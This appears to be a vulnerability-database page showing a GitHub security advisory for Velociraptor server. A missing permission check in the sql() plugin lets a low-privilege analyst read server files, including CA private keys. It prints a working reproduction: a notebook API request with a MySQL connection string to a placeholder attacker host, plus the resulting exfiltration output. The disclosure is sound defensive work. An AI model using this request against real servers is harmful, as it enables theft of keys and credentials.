GHSA-9QQ5-422F-33C2
Vulnerability from github – Published: 2026-11-09 22:25 – Updated: 2026-11-09 22:25Summary
The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).
The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.
The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.
Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.
Affected
- Velocidex/velociraptor server,
<= v0.77.1(latest release, 2026-06-23). Identical vulnerable code inmasterHEAD1961e79(2026-07-17). - Confirmed live-exploitable on the official
ghcr.io/velocidex/velociraptor-server:latestimage (build 0.77.1, commit bbe2a58). - Stock install, default Basic authenticator, any built-in
analyst,investigator, orapirole (all holdANY_QUERY, none holdsFILESYSTEM_READorNETWORK). - No non-default flag required.
Root cause
SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.
Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.
Reproduction
ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.
1) As analyst, confirm the control: the gated accessor denies the read.
sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1')
=> sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]
2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.
3) As the same analyst, call the ungated branch through the notebook query API:
POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token)
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}
The rogue server receives the file:
QUERY: 'SELECT 1'
EXFIL 12860 bytes /etc/velociraptor/server.config.yaml
contains: CA private_key, gw_private_key, Frontend private_key
Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].
Impact
- CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
- Any root-readable file on the server host disclosed (
/etc/shadow, datastore user records with password hashes, cross-tenantorgsdata). - Arbitrary outbound TCP from the server host through the same sink and the
upload_sftp,upload_smb,upload_azure,upload_gcsplugins. - Root-owned file creation at any path via the
sqlitebranch (zero-permissiondataaccessor plus an in-queryATTACH DATABASE). - Triggered by the lowest built-in query role, default config, one query, no admin interaction.
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.77.1"
},
"package": {
"ecosystem": "Go",
"name": "www.velocidex.com/golang/velociraptor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.77.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85737"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T22:25:14Z",
"nvd_published_at": "2026-11-06T21:17:11Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`).\n\nThe plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing.\n\nThe built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API.\n\nResult: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server\u0027s `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key.\n\n## Affected\n\n- Velocidex/velociraptor server, `\u003c= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17).\n- Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58).\n- Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`).\n- No non-default flag required.\n\n## Root cause\n\n`SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink.\n\nNote on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin\u0027s own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.\n\n## Reproduction\n\n`ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user.\n\n1) As `analyst`, confirm the control: the gated accessor denies the read.\n\n sql(driver=\u0027sqlite\u0027, accessor=\u0027file\u0027, file=\u0027/etc/passwd\u0027, query=\u0027SELECT 1\u0027)\n =\u003e sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]\n\n2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE \u003ctarget\u003e` packet.\n\n3) As the same `analyst`, call the ungated branch through the notebook query API:\n\n POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token)\n {\"type\":\"vql\",\"input\":\"SELECT * FROM sql(driver=\u0027mysql\u0027,\n connstring=\u0027x:y@tcp(\u003cATTACKER\u003e:4499)/z?allowAllFiles=true\u0027, query=\u0027SELECT 1\u0027)\"}\n\nThe rogue server receives the file:\n\n QUERY: \u0027SELECT 1\u0027\n EXFIL 12860 bytes /etc/velociraptor/server.config.yaml\n contains: CA private_key, gw_private_key, Frontend private_key\n\nLive-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`.\n\n## Impact\n\n* CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.\n* Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data).\n* Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins.\n* Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`).\n* Triggered by the lowest built-in query role, default config, one query, no admin interaction.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)",
"id": "GHSA-9qq5-422f-33c2",
"modified": "2026-11-09T22:25:14Z",
"published": "2026-11-09T22:25:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85737"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/velociraptor/pull/4952"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
},
{
"type": "PACKAGE",
"url": "https://github.com/Velocidex/velociraptor"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.